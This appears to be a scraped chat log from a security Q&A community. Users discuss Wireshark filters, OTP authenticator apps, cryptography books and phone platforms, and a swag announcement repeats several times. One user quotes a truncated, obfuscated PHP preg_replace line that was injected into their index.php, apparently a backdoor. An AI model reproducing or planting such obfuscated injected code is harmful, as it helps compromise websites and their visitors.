All traffic flowing to/from the local system, and either of two specific remote IPs, but exclude traffic to/from a specific port on the remote IPs only.
i.e.: If the traffic is coming to/from the specified port on the local system I want it included. But if it's to/from the specified port on the remote systems, I want it excluded.
I wouldn't be surprised if the problem is deceptively simple. I just don't spend near as much time with Wireshark (or similar tools) as I'd like.
@RоryMcCune Octothorpe was the term made up by the team at Bell Labs when they put the symbol on the telephone. Unfortunately for adoption, they forgot to tell anyone that is what it was called, so everyone else made up their own names. And now we have them all.
A quick search through Google Play found three OTP generation tools: FreeOTP Authenticator; Google Authenticator; Authenticator Plus. While each of those claim to offer token generation "on your device", some may require a network connection, I can't be sure without actually using them.
One reas...
There definitely are OTP applications on mobile handsets, which makes this question unanswerable. (How would you answer “Why did you stop beating your wife?”?) Stack Exchange isn't the place to collect a list of implementations. — Gilles2 mins ago
@TildalWave Reminds me, I need to set up my OTP generators again on the new phone. Thanks.
@MarkBuffalo Gave up on the super-specific filtering. Realized I don't actually need it so particular right now. Exercise I'm going through won't mind losing the chunks I'll miss.
There's no (easy) way to filter by time range is there? I mean, in relation to "local time" not "time since start of capture" (assuming I have not established such relation)?
I just noticed that the top line of my index.php file got changed to what's below.
<?php preg_replace("\xf4\x30\41\x1f\x16\351\x42\x45"^"\xd7\30\xf\64\77\312\53\40","\373\x49\145\xa9\372\xc0\x72\331\307\320\175\237\xb4\123\51\x6c\x69\x6d\x72\302\xe1\117\x67\x86\44\xc7\217\x64\260\x31\x78\x99\x9c...
Did you see that movie, "I Think I Love My Wife"? Well, the protagonist is in someone else's house and talking to someone else's woman... the guy comes in and threatens to beat him for being near his woman. Before he can initiate the beatdown, two cops come in and knock him over, and beat him with sticks. As he's getting beaten, he just screams, "THUG LIFE, THUG LIFE!"
I come bearing good news!!!
If your name is on one of the first two pages here, you are entitled to a little care package, as a token of our appreciation for helping shape this community into what it is today! You can expect the following items to be sent your way:
A T-SHIRT!
STICKERS!
I'...
I come bearing good news!!!
If your name is on one of the first two pages here, you are entitled to a little care package, as a token of our appreciation for helping shape this community into what it is today! You can expect the following items to be sent your way:
A T-SHIRT!
STICKERS!
I'...
@MarkBuffalo Ok so, I'd split the crypto world in two: block ciphers, streams, and hashes and then separately public key crypto. The reason I do this is because the former is usually not heavy maths, whereas the latter, at least for understanding the maths bit, is heavy maths.
For block ciphers, I recommend "the block cipher companion", an excellent book that walks you through attacking some toy ciphers. If you find that too easy, Schneier's self-study cryptanalysis course is the next step. I started this... it's hard work.
I don't think there's any particularly central resource for understanding modern hash design (@ThomasP ?). Perhaps Aumasson's "The Blake Hash Function" might be the closest (it's a rationale of "why", for Blake, an SHA3 candidate). I haven't read it.
For public key crypto, that really depends on your level of maths. If I say, for example, what is a quotient (ring, field or group) and you're thinking "what?", it will help to understand some of the arguments used to understand the underlying maths. It's not entirely necessary, but it very much helps.
@Gilles no. That is a genuine question that has survived 13 hours without close votes. Considering our mods are very active and that one commentor is a very active user I'd say the question is OK
@diagprov dunno, I don't find the underlying maths hard, I mean, I can read it and use it as is, but cryptanalysis ... yeah, that gets what we call on space "maths whiteout"
it gets difficult to have perspective when you're in the middle of a fucking blizzard
@SEJPM hmmm, I suppose it can be interpreted in a way that's on-topic on Crypto
@SEJPM Speaking of crypto questions, I don't even know where to start with this one. The asker seems to have all kinds of wrong assumptions about how crypto works.
@AviD their (patch) support is better than on android, the surface is expensive but has good hardware and apple is sooooo restricitve on everything (and also ecosystems rule)
if I buy a general-purpose computer such as a smartphone or tablet, I want to be able to install the applications I want, to configure the network the way I want, etc.
that's called “being root”, which Apple doesn't offer, MS doesn't offer, and Google only offers on a few models
me, I want that part to just work and let me ignore it and get on wit me bizness.
@Gilles no problem tethering with WP...
@CodesInChaos really not. There is a process, there are (sensible) constraints, but it is not like with Apple where you need to sacrifice a male goat and three turtledoves.
Apple are also a pain in the backside for developers. Aside from the java thing, you can get MS products going back forever on MSDN. If your customer still uses XP, you're OK, the SP2 builds are still there.
i'd like to know if there is any kind of compression system that works with multiple passwords, like a zip archieve with 3 passwords for example.
I come bearing good news!!!
If your name is on one of the first two pages here, you are entitled to a little care package, as a token of our appreciation for helping shape this community into what it is today! You can expect the following items to be sent your way:
A T-SHIRT!
STICKERS!
I'...
